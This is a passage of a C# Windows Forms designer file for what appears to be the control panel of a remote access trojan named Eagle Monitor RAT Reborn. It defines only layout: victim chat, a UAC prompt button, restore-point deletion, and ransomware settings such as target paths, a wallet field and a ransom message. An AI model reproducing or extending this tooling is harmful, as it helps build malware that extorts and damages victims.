((int)(((byte)(249))))); this.linkWebGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.linkWebGuna2Button.ForeColor = System.Drawing.Color.White; this.linkWebGuna2Button.Location = new System.Drawing.Point(0, 108); this.linkWebGuna2Button.Name = "linkWebGuna2Button"; this.linkWebGuna2Button.Size = new System.Drawing.Size(351, 36); this.linkWebGuna2Button.TabIndex = 38; this.linkWebGuna2Button.Text = "Open"; this.linkWebGuna2Button.Click += new System.EventHandler(this.linkWebGuna2Button_Click); // // tabPage23 // this.tabPage23.Controls.Add(this.messageRichTextBox); this.tabPage23.Controls.Add(this.usernameChatGuna2TextBox); this.tabPage23.Controls.Add(this.chatSendGuna2Button); this.tabPage23.Controls.Add(this.messageChatGuna2TextBox); this.tabPage23.Controls.Add(this.panel17); this.tabPage23.Controls.Add(this.chatGuna2Button); this.tabPage23.Location = new System.Drawing.Point(4, 44); this.tabPage23.Name = "tabPage23"; this.tabPage23.Padding = new System.Windows.Forms.Padding(3); this.tabPage23.Size = new System.Drawing.Size(1083, 426); this.tabPage23.TabIndex = 5; this.tabPage23.Text = "Chat"; this.tabPage23.UseVisualStyleBackColor = true; // // messageRichTextBox // this.messageRichTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.messageRichTextBox.BackColor = System.Drawing.Color.White; this.messageRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None; this.messageRichTextBox.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.messageRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.messageRichTextBox.Location = new System.Drawing.Point(3, 76); this.messageRichTextBox.Name = "messageRichTextBox"; this.messageRichTextBox.ReadOnly = true; this.messageRichTextBox.Size = new System.Drawing.Size(1077, 344); this.messageRichTextBox.TabIndex = 55; this.messageRichTextBox.Text = ""; // // usernameChatGuna2TextBox // this.usernameChatGuna2TextBox.Animated = true; this.usernameChatGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.usernameChatGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.usernameChatGuna2TextBox.DefaultText = ""; this.usernameChatGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.usernameChatGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.usernameChatGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.usernameChatGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.usernameChatGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.usernameChatGuna2TextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.usernameChatGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.usernameChatGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.usernameChatGuna2TextBox.Location = new System.Drawing.Point(3, 40); this.usernameChatGuna2TextBox.Name = "usernameChatGuna2TextBox"; this.usernameChatGuna2TextBox.PasswordChar = '\0'; this.usernameChatGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.usernameChatGuna2TextBox.PlaceholderText = "Your Username"; this.usernameChatGuna2TextBox.SelectedText = ""; this.usernameChatGuna2TextBox.Size = new System.Drawing.Size(230, 30); this.usernameChatGuna2TextBox.TabIndex = 54; // // chatSendGuna2Button // this.chatSendGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.chatSendGuna2Button.Animated = true; this.chatSendGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.chatSendGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.chatSendGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.chatSendGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.chatSendGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.chatSendGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.chatSendGuna2Button.ForeColor = System.Drawing.Color.White; this.chatSendGuna2Button.Location = new System.Drawing.Point(891, 39); this.chatSendGuna2Button.Name = "chatSendGuna2Button"; this.chatSendGuna2Button.Size = new System.Drawing.Size(189, 30); this.chatSendGuna2Button.TabIndex = 53; this.chatSendGuna2Button.Text = "Send"; this.chatSendGuna2Button.Click += new System.EventHandler(this.chatSendGuna2Button_Click); // // messageChatGuna2TextBox // this.messageChatGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.messageChatGuna2TextBox.Animated = true; this.messageChatGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.messageChatGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.messageChatGuna2TextBox.DefaultText = ""; this.messageChatGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.messageChatGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.messageChatGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.messageChatGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.messageChatGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.messageChatGuna2TextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.messageChatGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.messageChatGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.messageChatGuna2TextBox.Location = new System.Drawing.Point(239, 40); this.messageChatGuna2TextBox.Name = "messageChatGuna2TextBox"; this.messageChatGuna2TextBox.PasswordChar = '\0'; this.messageChatGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.messageChatGuna2TextBox.PlaceholderText = "Your message"; this.messageChatGuna2TextBox.SelectedText = ""; this.messageChatGuna2TextBox.Size = new System.Drawing.Size(646, 30); this.messageChatGuna2TextBox.TabIndex = 52; // // panel17 // this.panel17.Dock = System.Windows.Forms.DockStyle.Top; this.panel17.Location = new System.Drawing.Point(3, 33); this.panel17.Name = "panel17"; this.panel17.Size = new System.Drawing.Size(1077, 5); this.panel17.TabIndex = 39; // // chatGuna2Button // this.chatGuna2Button.Animated = true; this.chatGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.chatGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.chatGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.chatGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.chatGuna2Button.Dock = System.Windows.Forms.DockStyle.Top; this.chatGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.chatGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.chatGuna2Button.ForeColor = System.Drawing.Color.White; this.chatGuna2Button.Location = new System.Drawing.Point(3, 3); this.chatGuna2Button.Name = "chatGuna2Button"; this.chatGuna2Button.Size = new System.Drawing.Size(1077, 30); this.chatGuna2Button.TabIndex = 38; this.chatGuna2Button.Text = "Start"; this.chatGuna2Button.Click += new System.EventHandler(this.chatGuna2Button_Click); // // tabPage24 // this.tabPage24.Controls.Add(this.askUACGuna2Button); this.tabPage24.Controls.Add(this.guna2GroupBox9); this.tabPage24.Location = new System.Drawing.Point(4, 4); this.tabPage24.Name = "tabPage24"; this.tabPage24.Padding = new System.Windows.Forms.Padding(3); this.tabPage24.Size = new System.Drawing.Size(1091, 474); this.tabPage24.TabIndex = 5; this.tabPage24.Text = "UAC"; this.tabPage24.UseVisualStyleBackColor = true; // // askUACGuna2Button // this.askUACGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.askUACGuna2Button.Animated = true; this.askUACGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.askUACGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.askUACGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.askUACGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.askUACGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.askUACGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.askUACGuna2Button.ForeColor = System.Drawing.Color.White; this.askUACGuna2Button.Location = new System.Drawing.Point(8, 6); this.askUACGuna2Button.Name = "askUACGuna2Button"; this.askUACGuna2Button.Size = new System.Drawing.Size(1076, 33); this.askUACGuna2Button.TabIndex = 58; this.askUACGuna2Button.Text = "Ask UAC"; this.askUACGuna2Button.Click += new System.EventHandler(this.askUACGuna2Button_Click); // // guna2GroupBox9 // this.guna2GroupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.guna2GroupBox9.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox9.BorderThickness = 0; this.guna2GroupBox9.Controls.Add(this.restorePointDataGridView); this.guna2GroupBox9.Controls.Add(this.guna2VScrollBar12); this.guna2GroupBox9.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox9.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox9.Location = new System.Drawing.Point(6, 45); this.guna2GroupBox9.Name = "guna2GroupBox9"; this.guna2GroupBox9.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox9.Size = new System.Drawing.Size(1079, 423); this.guna2GroupBox9.TabIndex = 57; this.guna2GroupBox9.Text = "System Restore Points"; // // restorePointDataGridView // this.restorePointDataGridView.AllowUserToAddRows = false; this.restorePointDataGridView.AllowUserToDeleteRows = false; this.restorePointDataGridView.AllowUserToResizeColumns = false; this.restorePointDataGridView.AllowUserToResizeRows = false; this.restorePointDataGridView.BackgroundColor = System.Drawing.Color.White; this.restorePointDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.restorePointDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.restorePointDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle55.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle55.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle55.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle55.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle55.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle55.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle55.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.restorePointDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle55; this.restorePointDataGridView.ColumnHeadersHeight = 36; this.restorePointDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column42, this.Column43, this.Column44, this.Column45}); this.restorePointDataGridView.ContextMenuStrip = this.restorePointContextMenuStrip; this.restorePointDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.restorePointDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.restorePointDataGridView.EnableHeadersVisualStyles = false; this.restorePointDataGridView.GridColor = System.Drawing.Color.White; this.restorePointDataGridView.Location = new System.Drawing.Point(2, 42); this.restorePointDataGridView.Name = "restorePointDataGridView"; this.restorePointDataGridView.ReadOnly = true; this.restorePointDataGridView.RowHeadersVisible = false; dataGridViewCellStyle58.BackColor = System.Drawing.Color.White; dataGridViewCellStyle58.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle58.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle58.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.restorePointDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle58; this.restorePointDataGridView.RowTemplate.Height = 26; this.restorePointDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.restorePointDataGridView.Size = new System.Drawing.Size(1057, 379); this.restorePointDataGridView.TabIndex = 14; this.restorePointDataGridView.TabStop = false; // // Column42 // this.Column42.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle56.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column42.DefaultCellStyle = dataGridViewCellStyle56; this.Column42.FillWeight = 25F; this.Column42.HeaderText = "Number"; this.Column42.Name = "Column42"; this.Column42.ReadOnly = true; // // Column43 // this.Column43.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle57.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column43.DefaultCellStyle = dataGridViewCellStyle57; this.Column43.FillWeight = 18F; this.Column43.HeaderText = "Description"; this.Column43.Name = "Column43"; this.Column43.ReadOnly = true; // // Column44 // this.Column44.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column44.FillWeight = 25F; this.Column44.HeaderText = "Type"; this.Column44.Name = "Column44"; this.Column44.ReadOnly = true; // // Column45 // this.Column45.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column45.FillWeight = 20F; this.Column45.HeaderText = "Creation Date"; this.Column45.Name = "Column45"; this.Column45.ReadOnly = true; // // restorePointContextMenuStrip // this.restorePointContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.restorePointContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.refreshRestorePointToolStripMenuItem, this.deleteRestorePointToolStripMenuItem}); this.restorePointContextMenuStrip.Name = "clientContextMenuStrip"; this.restorePointContextMenuStrip.Size = new System.Drawing.Size(126, 72); // // refreshRestorePointToolStripMenuItem // this.refreshRestorePointToolStripMenuItem.BackColor = System.Drawing.Color.White; this.refreshRestorePointToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.refreshRestorePointToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.replay_32px; this.refreshRestorePointToolStripMenuItem.Name = "refreshRestorePointToolStripMenuItem"; this.refreshRestorePointToolStripMenuItem.Size = new System.Drawing.Size(125, 34); this.refreshRestorePointToolStripMenuItem.Text = "Refresh"; this.refreshRestorePointToolStripMenuItem.Click += new System.EventHandler(this.refreshRestorePointToolStripMenuItem_Click); // // deleteRestorePointToolStripMenuItem // this.deleteRestorePointToolStripMenuItem.BackColor = System.Drawing.Color.White; this.deleteRestorePointToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.deleteRestorePointToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.deleteRestorePointToolStripMenuItem.Name = "deleteRestorePointToolStripMenuItem"; this.deleteRestorePointToolStripMenuItem.Size = new System.Drawing.Size(125, 34); this.deleteRestorePointToolStripMenuItem.Text = "Delete"; this.deleteRestorePointToolStripMenuItem.Click += new System.EventHandler(this.deleteRestorePointToolStripMenuItem_Click); // // guna2VScrollBar12 // this.guna2VScrollBar12.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar12.FillColor = System.Drawing.Color.White; this.guna2VScrollBar12.InUpdate = false; this.guna2VScrollBar12.LargeChange = 10; this.guna2VScrollBar12.Location = new System.Drawing.Point(1059, 42); this.guna2VScrollBar12.Name = "guna2VScrollBar12"; this.guna2VScrollBar12.ScrollbarSize = 18; this.guna2VScrollBar12.Size = new System.Drawing.Size(18, 379); this.guna2VScrollBar12.TabIndex = 17; this.guna2VScrollBar12.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage25 // this.tabPage25.Controls.Add(this.ransomwareGuna2TabControl); this.tabPage25.Location = new System.Drawing.Point(4, 4); this.tabPage25.Name = "tabPage25"; this.tabPage25.Padding = new System.Windows.Forms.Padding(3); this.tabPage25.Size = new System.Drawing.Size(1091, 474); this.tabPage25.TabIndex = 6; this.tabPage25.Text = "Ransomware"; this.tabPage25.UseVisualStyleBackColor = true; // // ransomwareGuna2TabControl // this.ransomwareGuna2TabControl.Controls.Add(this.tabPage26); this.ransomwareGuna2TabControl.Controls.Add(this.tabPage27); this.ransomwareGuna2TabControl.Controls.Add(this.tabPage28); this.ransomwareGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.ransomwareGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.ransomwareGuna2TabControl.Location = new System.Drawing.Point(3, 3); this.ransomwareGuna2TabControl.Name = "ransomwareGuna2TabControl"; this.ransomwareGuna2TabControl.SelectedIndex = 0; this.ransomwareGuna2TabControl.Size = new System.Drawing.Size(1085, 468); this.ransomwareGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.ransomwareGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.ransomwareGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.ransomwareGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.ransomwareGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.ransomwareGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.ransomwareGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.ransomwareGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.ransomwareGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.ransomwareGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.ransomwareGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.ransomwareGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.ransomwareGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.ransomwareGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.ransomwareGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.ransomwareGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.ransomwareGuna2TabControl.TabIndex = 70; this.ransomwareGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.ransomwareGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage26 // this.tabPage26.BackColor = System.Drawing.Color.White; this.tabPage26.Controls.Add(this.pathRansomwareDataGridView); this.tabPage26.Controls.Add(this.guna2VScrollBar13); this.tabPage26.Location = new System.Drawing.Point(4, 44); this.tabPage26.Name = "tabPage26"; this.tabPage26.Size = new System.Drawing.Size(1077, 420); this.tabPage26.TabIndex = 1; this.tabPage26.Text = "Path affected"; // // pathRansomwareDataGridView // this.pathRansomwareDataGridView.AllowDrop = true; this.pathRansomwareDataGridView.AllowUserToAddRows = false; this.pathRansomwareDataGridView.AllowUserToDeleteRows = false; this.pathRansomwareDataGridView.AllowUserToResizeColumns = false; this.pathRansomwareDataGridView.AllowUserToResizeRows = false; this.pathRansomwareDataGridView.BackgroundColor = System.Drawing.Color.White; this.pathRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.pathRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.pathRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle59.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle59.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle59.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle59.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle59.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle59.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle59.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.pathRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle59; this.pathRansomwareDataGridView.ColumnHeadersHeight = 36; this.pathRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column46}); this.pathRansomwareDataGridView.ContextMenuStrip = this.ransomwarePathContextMenuStrip; this.pathRansomwareDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.pathRansomwareDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.pathRansomwareDataGridView.EnableHeadersVisualStyles = false; this.pathRansomwareDataGridView.GridColor = System.Drawing.Color.White; this.pathRansomwareDataGridView.Location = new System.Drawing.Point(0, 0); this.pathRansomwareDataGridView.Name = "pathRansomwareDataGridView"; this.pathRansomwareDataGridView.ReadOnly = true; this.pathRansomwareDataGridView.RowHeadersVisible = false; dataGridViewCellStyle61.BackColor = System.Drawing.Color.White; dataGridViewCellStyle61.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle61.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle61.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.pathRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle61; this.pathRansomwareDataGridView.RowTemplate.Height = 26; this.pathRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.pathRansomwareDataGridView.Size = new System.Drawing.Size(1059, 420); this.pathRansomwareDataGridView.TabIndex = 17; this.pathRansomwareDataGridView.TabStop = false; // // Column46 // this.Column46.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle60.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column46.DefaultCellStyle = dataGridViewCellStyle60; this.Column46.FillWeight = 25F; this.Column46.HeaderText = "Path"; this.Column46.Name = "Column46"; this.Column46.ReadOnly = true; // // ransomwarePathContextMenuStrip // this.ransomwarePathContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.ransomwarePathContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.removeToolStripMenuItem}); this.ransomwarePathContextMenuStrip.Name = "clientContextMenuStrip"; this.ransomwarePathContextMenuStrip.Size = new System.Drawing.Size(130, 38); // // removeToolStripMenuItem // this.removeToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeToolStripMenuItem.Name = "removeToolStripMenuItem"; this.removeToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeToolStripMenuItem.Text = "Remove"; this.removeToolStripMenuItem.Click += new System.EventHandler(this.removeToolStripMenuItem_Click); // // guna2VScrollBar13 // this.guna2VScrollBar13.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar13.FillColor = System.Drawing.Color.White; this.guna2VScrollBar13.InUpdate = false; this.guna2VScrollBar13.LargeChange = 10; this.guna2VScrollBar13.Location = new System.Drawing.Point(1059, 0); this.guna2VScrollBar13.Name = "guna2VScrollBar13"; this.guna2VScrollBar13.ScrollbarSize = 18; this.guna2VScrollBar13.Size = new System.Drawing.Size(18, 420); this.guna2VScrollBar13.TabIndex = 18; this.guna2VScrollBar13.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage27 // this.tabPage27.Controls.Add(this.msgRansomwareGuna2TextBox); this.tabPage27.Controls.Add(this.walletGuna2TextBox); this.tabPage27.Controls.Add(this.checkExtensionsGuna2CheckBox); this.tabPage27.Controls.Add(this.panel20); this.tabPage27.Controls.Add(this.subDirectoriesGuna2CheckBox); this.tabPage27.Location = new System.Drawing.Point(4, 44); this.tabPage27.Name = "tabPage27"; this.tabPage27.Size = new System.Drawing.Size(1077, 420); this.tabPage27.TabIndex = 4; this.tabPage27.Text = "Settings"; this.tabPage27.UseVisualStyleBackColor = true; // // msgRansomwareGuna2TextBox // this.msgRansomwareGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.msgRansomwareGuna2TextBox.Animated = true; this.msgRansomwareGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.msgRansomwareGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.msgRansomwareGuna2TextBox.DefaultText = ""; this.msgRansomwareGuna2TextBox.DisabledState.BorderColor = 